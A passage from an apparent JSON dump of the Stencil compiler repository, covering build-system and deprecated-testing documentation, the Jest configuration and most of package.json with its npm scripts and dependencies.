    "content": "# Scripts Build System\n\nThe Scripts directory contains the build system used to develop and build Stencil itself. This is separate from Stencil's compiler that builds user projects - this is specifically for building the Stencil compiler and its related modules.\n\n**Location:** [`scripts/`](../scripts/)\n\n## Overview\n\nThe build system uses **esbuild** as its primary bundler to create all the distributable packages that make up Stencil. It handles bundling, minification, TypeScript compilation, and packaging of various Stencil components.\n\n```mermaid\ngraph TD\n    subgraph \"Build Entry\"\n        Entry[scripts/index.ts] --> BuildRunner[build.ts]\n    end\n    \n    subgraph \"Build Tasks\"\n        BuildRunner --> CLI[buildCli]\n        BuildRunner --> Compiler[buildCompiler]\n        BuildRunner --> DevServer[buildDevServer]\n        BuildRunner --> MockDoc[buildMockDoc]\n        BuildRunner --> Internal[buildInternal]\n        BuildRunner --> Testing[buildTesting]\n        BuildRunner --> SysNode[buildSysNode]\n        BuildRunner --> Screenshot[buildScreenshot]\n    end\n    \n    subgraph \"Bundled Dependencies\"\n        Compiler --> TypeScript[TypeScript Bundle]\n        Compiler --> Terser[Terser Bundle]\n        Compiler --> Parse5[Parse5 Bundle]\n    end\n```\n\n## Directory Structure\n\n```\nscripts/\n├── build.ts                    # Main build orchestrator\n├── index.ts                    # Entry point\n├── release.ts                  # Release automation\n├── release-tasks.ts            # Release task definitions\n├── tsconfig.json               # TypeScript config for scripts\n├── updateSelectorEngine.ts     # Playwright selector engine updater\n│\n├── esbuild/                    # ESBuild configurations\n│   ├── cli.ts                  # CLI bundle config\n│   ├── compiler.ts             # Compiler bundle config\n│   ├── dev-server.ts           # Dev server bundle config\n│   ├── internal.ts             # Internal packages bundle config\n│   ├── mock-doc.ts             # Mock DOM bundle config\n│   ├── screenshot.ts           # Screenshot bundle config\n│   ├── sys-node.ts             # Node system bundle config\n│   ├── testing.ts              # Testing bundle config\n│   └── utils/                  # Build utilities\n│       ├── typescript-source.ts\n│       ├── terser.ts\n│       ├── parse5.ts\n│       └── ...\n│\n├── utils/                      # General utilities\n│   ├── options.ts              # Build options\n│   ├── banner.ts               # File banners\n│   ├── bundle-dts.ts           # TypeScript declarations bundler\n│   └── ...\n│\n└── test/                       # Build validation\n    └── validate-build.ts       # Post-build validation\n```\n\n## Build Process\n\n### 1. Entry Point\n\n**Location:** `scripts/index.ts`\n\nThe build starts here when running `npm run build`:\n\n```typescript\nconst stencilProjectRoot = join(__dirname, '..');\nconst args = process.argv.slice(2);\nbuild.run(stencilProjectRoot, args);\n```\n\n### 2. Build Orchestration\n\n**Location:** `scripts/build.ts`\n\nThe main build runner that coordinates all build tasks:\n\n```typescript\nexport async function buildAll(opts: BuildOptions) {\n  await Promise.all([\n    buildCli(opts),\n    buildCompiler(opts),\n    buildDevServer(opts),\n    buildMockDoc(opts),\n    buildScreenshot(opts),\n    buildSysNode(opts),\n    buildTesting(opts),\n    buildInternal(opts),\n  ]);\n}\n```\n\nAll builds run in parallel for maximum efficiency.\n\n### 3. Build Options\n\n**Location:** `scripts/utils/options.ts`\n\nBuild configuration is centralized:\n- Version management\n- Directory paths\n- Build flags (prod, CI, watch)\n- Dependency versions\n\n## Bundled Dependencies\n\nStencil bundles several key dependencies directly into its output to ensure consistency and avoid version conflicts:\n\n### TypeScript Bundling\n\n**Location:** `scripts/esbuild/utils/typescript-source.ts`\n\nTypeScript is bundled and patched:\n1. The TypeScript compiler is read from `node_modules`\n2. Object.defineProperty calls are modified to be configurable\n3. The result is cached for faster rebuilds\n\n```typescript\n// TypeScript properties need to be configurable for our patches\nconst TS_PROP_DEFINER = `__defProp(target, name, { \n  get: all[name], \n  enumerable: true,\n  configurable: true  // Added by Stencil\n});`;\n```\n\n### Terser Bundling\n\n**Location:** `scripts/esbuild/utils/terser.ts`\n\nTerser is bundled for JavaScript minification:\n- Used in production builds\n- Cached based on version\n- Provides consistent minification across environments\n\n### Parse5 Bundling\n\n**Location:** `scripts/esbuild/utils/parse5.ts`\n\nParse5 is bundled for HTML parsing:\n- Used by mock-doc for server-side rendering\n- Bundled with Rollup (legacy from previous build system)\n- Version-specific caching\n\n## Build Outputs\n\nEach build task creates a specific output package:\n\n### Compiler (`/compiler`)\n- Main Stencil compiler\n- Includes bundled TypeScript, Terser, and Parse5\n- Entry: `stencil.js`\n\n### CLI (`/cli`)\n- Command-line interface\n- Both ESM and CommonJS builds\n- Entry: `index.js` / `index.cjs`\n\n### Dev Server (`/dev-server`)\n- Development server with HMR\n- Includes WebSocket server\n- Entry: `index.js`\n\n### Internal (`/internal`)\n- Shared internal modules\n- Client runtime\n- Hydrate platform\n- App data/globals\n\n### Mock Doc (`/mock-doc`)\n- Server-side DOM implementation\n- Includes bundled Parse5\n- Entry: `index.cjs` / `index.js`\n\n### Testing (`/testing`)\n- Jest integration\n- Testing utilities\n- Entry: `index.js`\n\n### Sys Node (`/sys/node`)\n- Node.js system abstraction\n- File system operations\n- Entry: `index.js`\n\n### Screenshot (`/screenshot`)\n- Visual regression testing (deprecated)\n- Entry: `index.js`\n\n## ESBuild Configuration\n\n### Base Configuration\n\n**Location:** `scripts/esbuild/utils/index.ts`\n\nCommon settings for all bundles:\n```typescript\n{\n  bundle: true,\n  format: 'esm' | 'cjs',\n  platform: 'node',\n  target: ['node16'],\n  sourcemap: 'external',\n  minify: isProd,\n  logLevel: 'info'\n}\n```\n\n### Aliases\n\nPath aliases are used extensively:\n- `@platform` → Platform-specific code\n- `@utils` → Shared utilities\n- `@app-data` → Build conditionals\n- `@sys-api-node` → Node system API\n\n### External Dependencies\n\nMost Node.js dependencies are externalized except:\n- TypeScript (bundled)\n- Terser (bundled)\n- Parse5 (bundled)\n\n## Development Workflow\n\n### Building Stencil\n\n```bash\n# Development build\nnpm run build\n\n# Production build\nnpm run build -- --prod\n\n# Watch mode\nnpm run build -- --watch\n\n# Validate build\nnpm run build -- --validate-build\n```\n\n### Build Caching\n\nThe build system implements several caching strategies:\n1. **TypeScript Bundle Cache**: Based on TypeScript version\n2. **Terser Bundle Cache**: Based on Terser version\n3. **Parse5 Bundle Cache**: Based on Parse5 version\n4. **DTS Bundle Cache**: For TypeScript declarations\n\n### Incremental Builds\n\nIn watch mode, only changed files trigger rebuilds of affected bundles.\n\n## Release Process\n\n### Release Tasks\n\n**Location:** `scripts/release-tasks.ts`\n\nAutomated release process:\n1. Validate version\n2. Install dependencies\n3. Build TypeScript (`tsc.prod`)\n4. Bundle all packages\n5. Update changelog\n6. Publish to npm\n7. Tag git commit\n\n### Version Management\n\nVersions can be:\n- Semantic version words: `major`, `minor`, `patch`\n- Explicit versions: `4.0.0`\n- Pre-release versions: `4.0.0-beta.1`\n\n## Build Validation\n\n**Location:** `scripts/test/validate-build.ts`\n\nPost-build validation ensures:\n1. All expected files exist\n2. Package.json files are correct\n3. TypeScript declarations compile\n4. Tree-shaking works properly\n5. No unexpected dependencies\n\n## Common Issues\n\n### TypeScript Patching\n\nThe TypeScript bundling process patches TypeScript to:\n- Make properties configurable for monkey-patching\n- Enable in-memory file system usage\n- Support custom transformers\n\n### Circular Dependencies\n\nThe build carefully manages module loading order to avoid circular dependencies between packages.\n\n### Platform-Specific Code\n\nDifferent bundles for:\n- Node.js environments (compiler, CLI)\n- Browser environments (client runtime)\n- Hybrid environments (testing, dev server)\n\n## Future Improvements\n\n1. **Build Performance**: Investigate faster bundling strategies\n2. **Dependency Updates**: Automate bundled dependency updates\n3. **Build Analytics**: Add timing and size tracking\n4. **Cache Management**: Smarter cache invalidation\n5. **Monorepo Structure**: Consider splitting into separate packages "
  },
  {
    "path": "docs/testing-deprecated.md",
    "content": "# Testing (Deprecated)\n\n> **⚠️ DEPRECATED**: The built-in Stencil test runner is deprecated and only supports Jest v27-29. Please migrate to one of the recommended alternatives below.\n\n**Location:** [`src/testing/`](../src/testing/)\n\n## Migration Paths\n\n### Recommended Alternatives\n\n1. **[Jest Stencil Runner](https://github.com/stenciljs/jest-stencil-runner)**: Updated Jest environment for Stencil\n2. **[WebdriverIO](https://stenciljs.com/docs/testing/webdriverio/overview)**: Cross-browser e2e testing\n3. **[Playwright](https://stenciljs.com/docs/testing/playwright/overview)**: Modern e2e testing framework\n4. **[Vitest](https://stenciljs.com/docs/testing/vitest)**: Fast unit testing with Vite\n\n## Legacy Architecture\n\n> **Note**: This documentation is preserved for projects still using the deprecated test runner.\n\n```mermaid\ngraph TD\n    subgraph \"Test Runner\"\n        Jest[Jest Core] --> Env[Stencil Environment]\n        Env --> MockDoc[Mock Document]\n        Env --> Transpile[TypeScript Transpilation]\n    end\n    \n    subgraph \"Test Types\"\n        Unit[Unit Tests] --> Spec[Spec Tests]\n        E2E[E2E Tests] --> Puppeteer[Puppeteer]\n    end\n    \n    subgraph \"Test Utils\"\n        Platform[Platform Mock]\n        Testing[Testing Utils]\n        Build[Build Context]\n    end\n```\n\n## Configuration\n\n### Testing Config\n\n```typescript\n// stencil.config.ts\nexport const config: Config = {\n  testing: {\n    // Jest configuration\n    coverageDirectory: './coverage',\n    coverageReporters: ['json', 'lcov', 'text'],\n    collectCoverageFrom: ['src/**/*.{ts,tsx}'],\n    \n    // Test patterns\n    testMatch: ['**/*.(spec|e2e).ts?(x)'],\n    \n    // Environment\n    testEnvironment: '@stencil/core/testing',\n    \n    // Transforms\n    transform: {\n      '^.+\\\\.(ts|tsx|js|jsx|css)$': '@stencil/core/testing'\n    },\n    \n    // Module resolution\n    moduleNameMapper: {\n      '@utils': '<rootDir>/src/utils'\n    }\n  }\n};\n```\n\n## Test Types\n\n### Unit Tests (spec.ts)\n\nComponent logic testing:\n\n```typescript\nimport { newSpecPage } from '@stencil/core/testing';\nimport { MyComponent } from './my-component';\n\ndescribe('my-component', () => {\n  it('renders', async () => {\n    const page = await newSpecPage({\n      components: [MyComponent],\n      html: '<my-component></my-component>'\n    });\n    \n    expect(page.root).toEqualHtml(`\n      <my-component>\n        <div>Hello, World!</div>\n      </my-component>\n    `);\n  });\n  \n  it('updates on prop change', async () => {\n    const page = await newSpecPage({\n      components: [MyComponent],\n      html: '<my-component name=\"Test\"></my-component>'\n    });\n    \n    expect(page.rootInstance.name).toBe('Test');\n    \n    page.root.name = 'Updated';\n    await page.waitForChanges();\n    \n    expect(page.root.textContent).toContain('Updated');\n  });\n});\n```\n\n### E2E Tests (e2e.ts)\n\nBrowser-based testing:\n\n```typescript\nimport { newE2EPage } from '@stencil/core/testing';\n\ndescribe('my-component e2e', () => {\n  it('renders', async () => {\n    const page = await newE2EPage();\n    await page.setContent('<my-component></my-component>');\n    \n    const element = await page.find('my-component');\n    expect(element).toHaveClass('hydrated');\n  });\n  \n  it('emits events', async () => {\n    const page = await newE2EPage();\n    await page.setContent('<my-component></my-component>');\n    \n    const eventSpy = await page.spyOnEvent('myEvent');\n    \n    const button = await page.find('my-component >>> button');\n    await button.click();\n    \n    expect(eventSpy).toHaveReceivedEvent();\n    expect(eventSpy).toHaveReceivedEventDetail({ value: 42 });\n  });\n});\n```\n\n## Testing Utilities\n\n### Mock Platform\n\nPlatform API mocking:\n\n```typescript\nimport { mockDocument, mockWindow } from '@stencil/core/testing';\n\nconst win = mockWindow();\nconst doc = mockDocument();\n\n// Mock APIs\nwin.localStorage.setItem('key', 'value');\ndoc.createElement('div');\n```\n\n### Test Utils\n\nHelper functions:\n\n```typescript\n// Wait for async updates\nawait waitForChanges();\n\n// Flush promises\nawait flushPromises();\n\n// Mock fetch\nmockFetch({\n  '/api/data': { status: 200, data: { id: 1 } }\n});\n\n// Mock console\nconst consoleSpy = mockConsole();\n```\n\n## Jest Environment\n\n### Custom Environment\n\nStencil's Jest environment setup:\n\n```typescript\n// jest/jest-environment.ts\nexport class StencilEnvironment extends NodeEnvironment {\n  constructor(config: Config) {\n    super(config);\n    \n    // Set up globals\n    this.global.fetch = mockFetch;\n    this.global.CSS = mockCSS;\n    this.global.CSSStyleSheet = MockCSSStyleSheet;\n  }\n  \n  async setup() {\n    await super.setup();\n    \n    // Initialize platform\n    const { win, doc } = mockPlatform();\n    this.global.window = win;\n    this.global.document = doc;\n  }\n}\n```\n\n### Transform\n\nTypeScript/JSX transformation:\n\n```typescript\n// jest/jest-preprocessor.ts\nexport const process = (\n  sourceText: string,\n  sourcePath: string,\n  config: Config\n) => {\n  if (sourcePath.endsWith('.tsx') || sourcePath.endsWith('.ts')) {\n    const transformed = transformSync(sourceText, {\n      filename: sourcePath,\n      presets: ['@babel/preset-typescript'],\n      plugins: [\n        ['@babel/plugin-transform-typescript', { isTSX: true }],\n        '@babel/plugin-syntax-jsx',\n        'babel-plugin-transform-stencil-jsx'\n      ]\n    });\n    \n    return transformed.code;\n  }\n  \n  return sourceText;\n};\n```\n\n## Common Patterns\n\n### Testing Lifecycle\n\n```typescript\ndescribe('lifecycle', () => {\n  it('calls lifecycle methods', async () => {\n    let componentWillLoadCalled = false;\n    let componentDidLoadCalled = false;\n    \n    @Component({ tag: 'test-lifecycle' })\n    class TestLifecycle {\n      componentWillLoad() {\n        componentWillLoadCalled = true;\n      }\n      \n      componentDidLoad() {\n        componentDidLoadCalled = true;\n      }\n      \n      render() {\n        return <div>Test</div>;\n      }\n    }\n    \n    const page = await newSpecPage({\n      components: [TestLifecycle],\n      html: '<test-lifecycle></test-lifecycle>'\n    });\n    \n    expect(componentWillLoadCalled).toBe(true);\n    expect(componentDidLoadCalled).toBe(true);\n  });\n});\n```\n\n### Testing Events\n\n```typescript\nit('emits custom events', async () => {\n  const page = await newSpecPage({\n    components: [MyComponent],\n    html: '<my-component></my-component>'\n  });\n  \n  const eventSpy = jest.fn();\n  page.root.addEventListener('myEvent', eventSpy);\n  \n  // Trigger event\n  page.rootInstance.emitEvent();\n  \n  expect(eventSpy).toHaveBeenCalledWith(\n    expect.objectContaining({\n      detail: { message: 'Hello' }\n    })\n  );\n});\n```\n\n### Testing Async Operations\n\n```typescript\nit('loads async data', async () => {\n  mockFetch({\n    '/api/user': {\n      status: 200,\n      json: async () => ({ name: 'John' })\n    }\n  });\n  \n  const page = await newSpecPage({\n    components: [UserComponent],\n    html: '<user-component></user-component>'\n  });\n  \n  // Wait for async operations\n  await page.waitForChanges();\n  \n  expect(page.root.textContent).toContain('John');\n});\n```\n\n## Known Limitations\n\n1. **Jest Version Lock**: Only supports Jest 27-29\n2. **Performance**: Slower than modern alternatives\n3. **Browser Support**: Limited real browser testing\n4. **Module Support**: Issues with ESM modules\n5. **Debugging**: Poor source map support\n\n## Why It's Deprecated\n\n1. **Maintenance Burden**: Complex Jest integration\n2. **Performance Issues**: Slow test execution\n3. **Limited Features**: Missing modern testing capabilities\n4. **Better Alternatives**: Superior tools now available\n5. **Technical Debt**: Accumulated complexity\n"
  },
  {
    "path": "jest.config.js",
    "content": "module.exports = {\n  moduleNameMapper: {\n    '@app-data': '<rootDir>/internal/app-data/index.cjs',\n    '@app-globals': '<rootDir>/internal/app-globals/index.cjs',\n    '@platform': '<rootDir>/internal/testing/index.js',\n    '@runtime': '<rootDir>/internal/testing/index.js',\n    '@stencil/core/cli': '<rootDir>/cli/index.cjs',\n    '@stencil/core/compiler': '<rootDir>/compiler/stencil.js',\n    '@stencil/core/mock-doc': '<rootDir>/mock-doc/index.cjs',\n    '@stencil/core/testing': '<rootDir>/testing/index.js',\n    '@sys-api-node': '<rootDir>/sys/node/index.js',\n    '@utils': '<rootDir>/src/utils',\n    '^typescript$': '<rootDir>/scripts/build/typescript-modified-for-jest.js',\n    '^@stencil/core/internal/app-data$': '<rootDir>/internal/app-data/index.cjs',\n    '^@stencil/core/internal/testing$': '<rootDir>/internal/testing/index.js',\n  },\n  coverageDirectory: './coverage/',\n  coverageReporters: ['json', 'lcov', 'text', 'clover'],\n  coveragePathIgnorePatterns: ['^.*\\\\.stub\\\\.tsx?$'],\n  collectCoverageFrom: [\n    '<rootDir>/scripts/**/*.{js,jsx,ts,tsx}',\n    '!<rootDir>/scripts/build/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/app-data/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/app-globals/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/cli/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/compiler/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/declarations/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/dev-server/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/hydrate/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/internal/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/mock-doc/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/runtime/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/screenshot/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/sys/node/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/testing/**/*.{js,jsx,ts,tsx}',\n    '<rootDir>/src/utils/**/*.{js,jsx,ts,tsx}',\n  ],\n  moduleFileExtensions: ['ts', 'tsx', 'js', 'mjs', 'jsx', 'json', 'd.ts'],\n  modulePathIgnorePatterns: ['/bin', '/www'],\n  setupFilesAfterEnv: ['<rootDir>/testing/jest-setuptestframework.js'],\n  testEnvironment: '<rootDir>/testing/jest-environment.js',\n  testPathIgnorePatterns: [\n    '<rootDir>/.cache/',\n    '<rootDir>/.github/',\n    '<rootDir>/.stencil/',\n    '<rootDir>/.vscode/',\n    '<rootDir>/bin/',\n    '<rootDir>/build/',\n    '<rootDir>/cli/',\n    '<rootDir>/compiler/',\n    '<rootDir>/dev-server/',\n    '<rootDir>/dist/',\n    '<rootDir>/internal/',\n    '<rootDir>/mock-doc/',\n    '<rootDir>/node_modules/',\n    '<rootDir>/screenshot/',\n    '<rootDir>/sys/',\n    '<rootDir>/test/',\n    '<rootDir>/testing/',\n  ],\n  testRegex: '/(src|scripts)/.*\\\\.spec\\\\.(ts|tsx|js)$',\n  // TODO(STENCIL-307): Move away from Jasmine runner for internal Stencil tests as a part of the (internal) Jest 28+ upgrade\n  testRunner: 'jest-jasmine2',\n  transform: {\n    '^.+\\\\.(ts|tsx|jsx|css|mjs)$': '<rootDir>/testing/jest-preprocessor.js',\n  },\n  watchPathIgnorePatterns: ['^.+\\\\.d\\\\.ts$'],\n};\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"@stencil/core\",\n  \"version\": \"4.43.3\",\n  \"license\": \"MIT\",\n  \"main\": \"./internal/stencil-core/index.cjs\",\n  \"module\": \"./internal/stencil-core/index.js\",\n  \"types\": \"./internal/stencil-core/index.d.ts\",\n  \"bin\": {\n    \"stencil\": \"bin/stencil\"\n  },\n  \"files\": [\n    \"!**/*.map\",\n    \"!**/*.stub.ts\",\n    \"!**/*.stub.tsx\",\n    \"bin/\",\n    \"cli/\",\n    \"compiler/\",\n    \"dev-server/\",\n    \"internal/\",\n    \"mock-doc/\",\n    \"screenshot/\",\n    \"sys/\",\n    \"testing/\"\n  ],\n  \"exports\": {\n    \".\": {\n      \"types\": \"./internal/stencil-core/index.d.ts\",\n      \"import\": \"./internal/stencil-core/index.js\",\n      \"require\": \"./internal/stencil-core/index.cjs\"\n    },\n    \"./jsx-runtime\": {\n      \"types\": \"./internal/stencil-core/jsx-runtime.d.ts\",\n      \"import\": \"./internal/stencil-core/jsx-runtime.js\",\n      \"require\": \"./internal/stencil-core/jsx-runtime.cjs\"\n    },\n    \"./jsx-dev-runtime\": {\n      \"types\": \"./internal/stencil-core/jsx-dev-runtime.d.ts\",\n      \"import\": \"./internal/stencil-core/jsx-dev-runtime.js\",\n      \"require\": \"./internal/stencil-core/jsx-dev-runtime.cjs\"\n    },\n    \"./cli\": {\n      \"import\": \"./cli/index.js\",\n      \"require\": \"./cli/index.cjs\"\n    },\n    \"./internal\": {\n      \"import\": \"./internal/index.js\",\n      \"types\": \"./internal/index.d.ts\"\n    },\n    \"./internal/client\": {\n      \"import\": \"./internal/client/index.js\",\n      \"require\": \"./internal/client/index.js\"\n    },\n    \"./internal/testing\": {\n      \"import\": \"./internal/testing/index.js\",\n      \"require\": \"./internal/testing/index.js\"\n    },\n    \"./internal/testing/jsx-runtime\": {\n      \"types\": \"./internal/testing/jsx-runtime.d.ts\",\n      \"import\": \"./internal/testing/jsx-runtime.js\",\n      \"require\": \"./internal/testing/jsx-runtime.js\"\n    },\n    \"./internal/testing/jsx-dev-runtime\": {\n      \"types\": \"./internal/testing/jsx-dev-runtime.d.ts\",\n      \"import\": \"./internal/testing/jsx-dev-runtime.js\",\n      \"require\": \"./internal/testing/jsx-dev-runtime.js\"\n    },\n    \"./internal/testing/*\": {\n      \"import\": \"./internal/testing/*\"\n    },\n    \"./internal/app-data\": {\n      \"types\": \"./internal/app-data/index.d.ts\",\n      \"import\": \"./internal/app-data/index.js\",\n      \"require\": \"./internal/app-data/index.cjs\"\n    },\n    \"./internal/app-globals\": {\n      \"import\": \"./internal/app-globals/index.js\",\n      \"require\": \"./internal/app-globals/index.js\"\n    },\n    \"./mock-doc\": {\n      \"types\": \"./mock-doc/index.d.ts\",\n      \"import\": \"./mock-doc/index.js\",\n      \"require\": \"./mock-doc/index.cjs\"\n    },\n    \"./compiler\": {\n      \"types\": \"./compiler/stencil.d.ts\",\n      \"import\": \"./compiler/stencil.js\",\n      \"require\": \"./compiler/stencil.js\"\n    },\n    \"./compiler/*\": {\n      \"types\": \"./compiler/*\",\n      \"import\": \"./compiler/*\",\n      \"require\": \"./compiler/*\"\n    },\n    \"./screenshot\": {\n      \"types\": \"./screenshot/index.d.ts\",\n      \"require\": \"./screenshot/index.js\"\n    },\n    \"./sys/node\": {\n      \"types\": \"./sys/node/index.d.ts\",\n      \"import\": \"./sys/node/index.js\",\n      \"require\": \"./sys/node/index.js\"\n    },\n    \"./sys/node/*\": {\n      \"import\": \"./sys/node/*\",\n      \"require\": \"./sys/node/*\"\n    },\n    \"./testing\": {\n      \"types\": \"./testing/index.d.ts\",\n      \"import\": \"./testing/index.js\",\n      \"require\": \"./testing/index.js\"\n    },\n    \"./testing/jest-preset\": {\n      \"require\": \"./testing/jest-preset.js\"\n    },\n    \"./testing/*\": {\n      \"import\": \"./testing/*\",\n      \"require\": \"./testing/*\"\n    }\n  },\n  \"scripts\": {\n    \"build\": \"npm run clean && npm run tsc.prod && npm run ts scripts/index.ts -- --prod --ci\",\n    \"build.watch\": \"npm run build -- --watch\",\n    \"build.updateSelectorEngine\": \"npm run ts scripts/updateSelectorEngine.ts\",\n    \"clean\": \"rimraf --max-retries=2 build/ cli/ compiler/ dev-server/ internal/ mock-doc/ sys/node/ sys/ testing/ && npm run clean:scripts && npm run clean.screenshots\",\n    \"clean.screenshots\": \"rimraf test/end-to-end/screenshot/builds test/end-to-end/screenshot/images\",\n    \"clean:scripts\": \"rimraf scripts/build\",\n    \"lint\": \"eslint bin/* scripts/*.ts scripts/**/*.ts src/*.ts src/**/*.ts src/**/*.tsx test/wdio/**/*.tsx\",\n    \"install.jest\": \"npx tsx ./src/testing/jest/install-dependencies.mts\",\n    \"prettier\": \"npm run prettier.base -- --write\",\n    \"prettier.base\": \"prettier --cache \\\"./({bin,scripts,src,test}/**/*.{ts,tsx,js,jsx})|bin/stencil|.github/(**/)?*.(yml|yaml)|*.js\\\"\",\n    \"prettier.dry-run\": \"npm run prettier.base -- --list-different\",\n    \"release.ci.prepare\": \"npm run ts scripts/index.ts -- --release --ci-prepare\",\n    \"release.ci\": \"NODE_OPTIONS=--max-old-space-size=4096 npm run ts scripts/index.ts -- --release --ci-publish\",\n    \"spellcheck\": \"npm run spellcheck.code && npm run spellcheck.markdown\",\n    \"spellcheck.code\": \"cspell --config cspell-code.json --no-progress \\\"src/**/*.ts\\\" \\\"src/**/*.tsx\\\" \\\"scripts/**/*.ts\\\"\",\n    \"spellcheck.markdown\": \"cspell --config cspell-markdown.json --no-progress \\\"*.md\\\" \\\"**/*.md\\\"\",\n    \"test\": \"node --experimental-vm-modules ./node_modules/jest/bin/jest.js --coverage\",\n    \"test.analysis\": \"cd test && npm ci && npm run analysis.build-and-analyze\",\n    \"test.bundle-size\": \"cd test/bundle-size && npm test\",\n    \"test.bundlers\": \"cd test && npm run bundlers\",\n    \"test.copytask\": \"cd test/copy-task && npm ci && npm run test\",\n    \"test.dist\": \"npm run ts scripts/index.ts -- --validate-build\",\n    \"test.end-to-end\": \"cd test/end-to-end && npm ci && npm test && npm run test.dist\",\n    \"test.jest\": \"node --experimental-vm-modules ./node_modules/jest/bin/jest.js\",\n    \"test.type-tests\": \"cd ./test/wdio && npm install && npm run build.test-sibling && npm run build.main && cd ../../ && tsc -p test/type-tests/tsconfig.json\",\n    \"test.wdio\": \"cd test/wdio && npm ci && npm run test\",\n    \"test.wdio.testOnly\": \"cd test/wdio && npm ci && npm run wdio\",\n    \"test.prod\": \"npm run test.dist && npm run test.end-to-end && npm run test.jest && npm run test.wdio && npm run test.testing && npm run test.analysis\",\n    \"test.testing\": \"node scripts/test/validate-testing.js\",\n    \"test.docs-build\": \"cd test && npm run build.docs-json && npm run build.docs-readme\",\n    \"test.watch\": \"node --experimental-vm-modules ./node_modules/jest/bin/jest.js --watch\",\n    \"test.watch-all\": \"node --experimental-vm-modules ./node_modules/jest/bin/jest.js --watchAll --coverage\",\n    \"tsc.prod\": \"tsc\",\n    \"ts\": \"tsc --noEmit --project scripts/tsconfig.json && tsx\"\n  },\n  \"devDependencies\": {\n    \"@ionic/prettier-config\": \"^4.0.0\",\n    \"@jridgewell/source-map\": \"^0.3.6\",\n    \"@rollup/plugin-commonjs\": \"28.0.2\",\n    \"@rollup/plugin-json\": \"6.1.0\",\n    \"@rollup/plugin-node-resolve\": \"16.0.0\",\n    \"@rollup/plugin-replace\": \"6.0.2\",\n    \"@rollup/pluginutils\": \"5.1.4\",\n    \"@types/eslint\": \"^8.4.6\",\n    \"@types/exit\": \"^0.1.31\",\n    \"@types/fs-extra\": \"^11.0.0\",\n    \"@types/graceful-fs\": \"^4.1.5\",\n    \"@types/jest\": \"^27.0.3\",\n    \"@types/listr\": \"^0.14.4\",\n    \"@types/node\": \"^24.6.2\",\n    \"@types/pixelmatch\": \"^5.2.4\",\n    \"@types/pngjs\": \"^6.0.1\",\n    \"@types/prompts\": \"^2.0.9\",\n    \"@types/semver\": \"^7.3.12\",\n    \"@types/ws\": \"^8.5.4\",\n    \"@types/yarnpkg__lockfile\": \"^1.1.5\",\n    \"@typescript-eslint/eslint-plugin\": \"^7.0.0\",\n    \"@typescript-eslint/parser\": \"^7.0.0\",\n    \"@yarnpkg/lockfile\": \"^1.1.0\",\n    \"ansi-colors\": \"4.1.3\",\n    \"autoprefixer\": \"10.4.19\",\n    \"conventional-changelog-cli\": \"^5.0.0\",\n    \"cspell\": \"^8.0.0\",\n    \"css-what\": \"^7.0.0\",\n    \"dts-bundle-generator\": \"~9.5.0\",\n    \"esbuild\": \"^0.25.0\",\n    \"esbuild-plugin-replace\": \"^1.4.0\",\n    \"eslint\": \"^8.23.1\",\n    \"eslint-config-prettier\": \"^9.0.0\",\n    \"eslint-plugin-jest\": \"^28.0.0\",\n    \"eslint-plugin-jsdoc\": \"^50.0.0\",\n    \"eslint-plugin-simple-import-sort\": \"^12.0.0\",\n    \"eslint-plugin-wdio\": \"^8.24.12\",\n    \"execa\": \"9.3.0\",\n    \"exit\": \"^0.1.2\",\n    \"fs-extra\": \"^11.0.0\",\n    \"glob\": \"10.5.0\",\n    \"graceful-fs\": \"~4.2.6\",\n    \"jest\": \"^27.4.5\",\n    \"jest-cli\": \"^27.4.5\",\n    \"jest-environment-node\": \"^27.4.4\",\n    \"jquery\": \"https://github.com/jquery/jquery/tarball/c98597eaf5e144ee5e549cb41984687cd1033068\",\n    \"listr\": \"^0.14.3\",\n    \"magic-string\": \"^0.30.0\",\n    \"merge-source-map\": \"^1.1.0\",\n    \"mime-db\": \"^1.46.0\",\n    \"minimatch\": \"9.0.9\",\n    \"node-fetch\": \"3.3.2\",\n    \"open\": \"^9.0.0\",\n    \"open-in-editor\": \"2.2.0\",\n    \"parse5\": \"7.2.1\",\n    \"pixelmatch\": \"5.3.0\",\n    \"postcss\": \"^8.2.8\",\n    \"postcss-safe-parser\": \"^7.0.1\",\n    \"postcss-selector-parser\": \"^7.1.0\",\n    \"prettier\": \"3.3.1\",\n    \"prompts\": \"2.4.2\",\n    \"puppeteer\": \"^24.1.0\",\n    \"rimraf\": \"^6.0.1\",\n    \"rollup\": \"4.44.0\",\n    \"semver\": \"^7.3.7\",\n    \"terser\": \"5.37.0\",\n    \"tsx\": \"^4.19.2\",\n    \"typescript\": \"~5.8.3\",\n    \"webpack\": \"^5.75.0\",\n    \"ws\": \"8.17.1\"\n  },\n  \"optionalDependencies\": {\n    \"@rollup/rollup-darwin-arm64\": \"4.44.0\",\n    \"@rollup/rollup-darwin-x64\": \"4.44.0\",\n    \"@rollup/rollup-linux-arm64-gnu\": \"4.44.0\",\n    \"@rollup/rollup-linux-arm64-musl\": \"4.44.0\",\n    \"@rollup/rollup-linux-x64-gnu\": \"4.44.0\",\n    \"@rollup/rollup-linux-x64-musl\": \"4.44.0\",\n    \"@rollup/rollup-win32-arm64-msvc\": \"4.44.0\",\n    \"@rollup/rollup-win32-x64-msvc\": \"4.44.0\"\n  },\n  \"engines\": {\n    \"node\": \">=16.0.0\",\n    \"npm\": \">=7.10.0\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/stenciljs/core.git\"\n  },\n  \"author\": \"Ionic Team\",\n  \"homepage\": \"https://stenciljs.com/\",\n  \"description\": \"A Compiler for Web Components and Progressive Web Apps\",\n  \"keywords\": [\n    \"web components\",\n    \"components\",\n    \"stencil\",\n    \"ionic\",\n    \"webapp\",\n    \"custom elements\",\n    \"pwa\",\n    \"progressive web app\"\n  ],\n  \"prettier\": 